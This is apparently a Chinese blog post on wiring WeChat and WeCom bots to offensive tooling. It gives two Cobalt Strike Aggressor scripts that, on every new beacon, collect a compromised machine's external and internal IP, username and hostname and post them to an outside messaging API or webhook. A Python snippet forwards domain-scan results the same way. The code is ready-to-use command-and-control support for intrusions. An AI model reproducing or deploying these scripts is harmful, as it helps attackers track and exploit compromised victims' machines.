微信机器人2

小8机器人

cs上线提醒

can文件

on beacon_initial {

    sub http_get {
        local('$output');
        $url = [new java.net.URL: $1];
        $stream = [$url openStream];
        $handle = [SleepUtils getIOHandle: $stream, $null];

        @content = readAll($handle);

        foreach $line (@content) {
            $output .= $line . "\r\n";
        }

        println($output);
    }
    #获取ip、计算机名、登录账号
    $externalIP = replace(beacon_info($1, "external"), " ", "_");
    $internalIP = replace(beacon_info($1, "internal"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");

   
    $url = 'https://i.hacking8.com/wechat-api/自己的key?msg=CS%E4%B8%8A%E7%BA%BF%E6%8F%90%E9%86%92%0A%e5%a4%96%e7%bd%91ip:'.$externalIP.'%0A%e5%86%85%e7%bd%91ip:'.$internalIP.'%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;

    http_get($url);

}

域名扫描结果提醒,需要服务器去运行

domain.py

import requests

api = "?msg="
with open("123.txt") as f:
    data = f.read()
resp = requests.get("https://i.hacking8.com/wechat-api/自己的key",
params={
    "msg": data
})
print(resp)

其他扫描也类似,扫描完成后读取文件

公众号机器人

需要一个能登录网页版的微信来调用itchat库,我的登不上,放弃
使用公众号来作消息回复
安装教程参考:https://blog.csdn.net/m0_37922734/article/details/104240943

但后续不知道咋改了
调用微信公众号接口发现公众号没认证无法调用

暴力点 直接用公众号向用户发包时抓包,然后写进1.py的
实现扫描返回域名扫描返回结果,需要在服务器运行,通过&&来后续运行py脚本

企业微信机器人cs上线提醒

can文件

on beacon_initial {
	# 推送消息的文本
	$text = "cs上线提醒 \r\n";
	$text = $text."\r\n外网地址:".beacon_info($1, 'external');
	$text = $text."\r\n内网地址:".beacon_info($1, 'internal');
	$text = $text."\r\n用 户 名:".beacon_info($1, 'user');
	$text = $text."\r\n计算机名:".beacon_info($1, 'computer');
	send_text($text);
}

sub send_text {
	$url = "企业微信群机器人给的url地址";
	$json = "{\"msgtype\": \"text\", \"text\" : {\"content\" :\"$1 $+ \"}";
	$result = http_post($url, $json);
	}	

sub http_post {
	local('$output');
	$url = [new java.net.URL: $1];
	$conn = [$url openConnection];
	[$conn setRequestMethod: "POST"];
	[$conn setDoOutput: true];
	[$conn setRequestProperty: "Content-Length", strlen($2)];
	[$conn setRequestProperty: "Content-Type", "application/json"];
	$outStream = [$conn getOutputStream];
	[$outStream write: [$2 getBytes]];
	$inStream = [$conn getInputStream];
	$handle = [SleepUtils getIOHandle: $inStream, $outStream];
	@content = readAll($handle);
	return @content;
}

或者cs的其他插件https://github.com/not-know/qywx_app_message

参考:https://github.com/not-know/qywx_app_message/blob/1215327f5ea2f9efbe4c6ecee47568c3ca20ac06/cs/http_qywx.cna#L165

posted @ 2022-03-31 18:01  one-seven  阅读(89)  评论(0编辑  收藏  举报